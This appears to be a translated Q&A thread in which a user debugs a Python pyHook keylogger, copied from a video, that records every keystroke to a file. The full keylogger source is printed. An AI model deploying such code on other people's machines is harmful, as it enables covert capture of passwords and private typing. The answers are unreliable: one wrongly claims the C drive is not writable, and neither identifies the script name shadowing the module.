2016-10-01 106 views
0

我複製從這段視頻的鍵盤記錄器:(https://www.youtube.com/watch?v=8BiOPBsXh0g)和運行代碼:沒有屬性 'HookManager'

import pyHook, sys, logging, pythoncom 

    file_log = 'C:\Users\User\Google Drive\Python' 

    def OnKeyboardEvent(event): 
     logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s') 
     chr(event.Ascii) 
     logging.log(10, chr(event.Ascii)) 
     return True 

    hooks_manager = pyHook.HookManager() 
    hooks_manager.KeyDown = OnKeyboardEvent 
    hooks_manager.HookKeyboard() 
    pythoncom.Pumpmessages() 

這將返回錯誤:

Traceback (most recent call last): 
     File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in <module> 
     import pyHook, sys, logging, pythoncom 
     File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module> 
     hooks_manager = pyHook.HookManager() 
    AttributeError: 'module' object has no attribute 'HookManager' 

我正在運行的Python 2.7 .11和一臺windows電腦。 我不知道問題是什麼;請幫忙。 謝謝

回答

0

我仍然不確定是什麼問題,但我找到了解決方案。 如果你將你試圖運行的程序移動到HookManager.py文件所在的文件夾中,那麼它就起作用了。

對我來說,此文件是: C:\ Python27 \ LIB \站點包\ pyHook

0

兄弟此行是錯誤的

file_log = 'C:\Users\User\Google Drive\Python'

由於系統不允許你的程序寫到'C'驅動器,您應該使用另一條路徑,如'D'驅動器或'E'驅動器等,如下所示。

file_log = 'D:\keyloggerOutput.txt' 
+0

感謝您的幫助,但這似乎沒有解決問題,但我現在有一個工作版本的程序,但是。感謝您花時間回答我的問題 – Crelic

+0

兄弟我已經測試過這個程序,它工作正常。 –